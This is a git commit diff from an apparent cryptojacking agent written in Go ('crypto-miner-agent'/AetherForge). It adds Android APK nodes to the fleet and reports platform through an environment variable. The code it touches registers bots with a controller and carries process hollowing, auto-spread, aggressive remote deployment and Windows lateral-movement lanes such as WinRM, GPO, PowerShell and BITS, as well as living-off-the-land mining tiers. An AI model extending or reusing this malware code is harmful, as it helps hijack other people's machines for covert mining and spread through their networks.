Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -128,7 +128,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
WorkerNumber: workerNumberFromConfig(cfg),
BuildID: cfg.BuildID,
Version: config.Version,
Platform: runtime.GOOS,
Platform: cfg.RegistrationPlatform(),
Arch: runtime.GOARCH,
ForgeFlags: forgeFlagsFromConfig(cfg),
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
@@ -258,13 +258,13 @@ func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.T
}
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
lanes := spreadLanesForPlatform(cfg.RegistrationPlatform(), deployOrder)
mining := make([]string, 0, len(miningChain))
for _, t := range miningChain {
mining = append(mining, string(t))
}
return AICapabilitiesSnapshot{
Platform: runtime.GOOS,
Platform: cfg.RegistrationPlatform(),
HolePunch: cfg.HolePunch,
RemoteAggressive: cfg.RemoteAggressive,
MeshP2P: cfg.MeshP2P,
@@ -279,7 +279,10 @@ func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningC
}
}
func spreadLanesForPlatform(goos string, order []string) []string {
func spreadLanesForPlatform(platform string, order []string) []string {
if platform == "android" {
return nil
}
winOnly := map[string]bool{
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
@@ -287,10 +290,10 @@ func spreadLanesForPlatform(goos string, order []string) []string {
linuxOnly := map[string]bool{"linux": true}
out := make([]string, 0, len(order))
for _, lane := range order {
if winOnly[lane] && goos != "windows" {
if winOnly[lane] && platform != "windows" {
continue
}
if linuxOnly[lane] && goos != "linux" {
if linuxOnly[lane] && platform != "linux" {
continue
}
out = append(out, lane)

View File

@@ -354,7 +354,7 @@ func (c *AgentClient) authenticate() error {
MeshP2P: c.cfg.MeshP2P,
AutoSpread: c.cfg.AutoSpread,
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
Platform: runtime.GOOS,
Platform: c.cfg.RegistrationPlatform(),
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),

View File

@@ -87,7 +87,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
var d MiningDiagnostics
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
d.Platform = runtime.GOOS
d.Platform = c.cfg.RegistrationPlatform()
d.ConfiguredExecution = c.cfg.MinerExecution
d.ExecutionMode = execMode
d.ContainerAvailable = containerRT.Available

View File

@@ -31,6 +31,10 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
if c.cfg.MiningDisabled || c.cfg.ApkMode {
log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
return
}
const maxWait = 120 * time.Second
deadline := time.Now().Add(maxWait)
ticker := time.NewTicker(5 * time.Second)

View File

@@ -4,6 +4,7 @@ import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
)
@@ -45,6 +46,19 @@ func TestAuthPayloadJSONRoundTrip(t *testing.T) {
}
}
func TestAuthPayloadPlatformFromEnv(t *testing.T) {
t.Setenv("AETHERFORGE_PLATFORM", "android")
if got := config.RegistrationPlatform(); got != "android" {
t.Fatalf("RegistrationPlatform() = %q want android", got)
}
in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"}
var out AuthPayload
roundTrip(t, in, &out)
if out.Platform != "android" {
t.Fatalf("auth platform = %q want android", out.Platform)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse

View File

@@ -19,7 +19,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
}
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
Platform: cfg.RegistrationPlatform(),
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
WorkerName: cfg.WorkerName,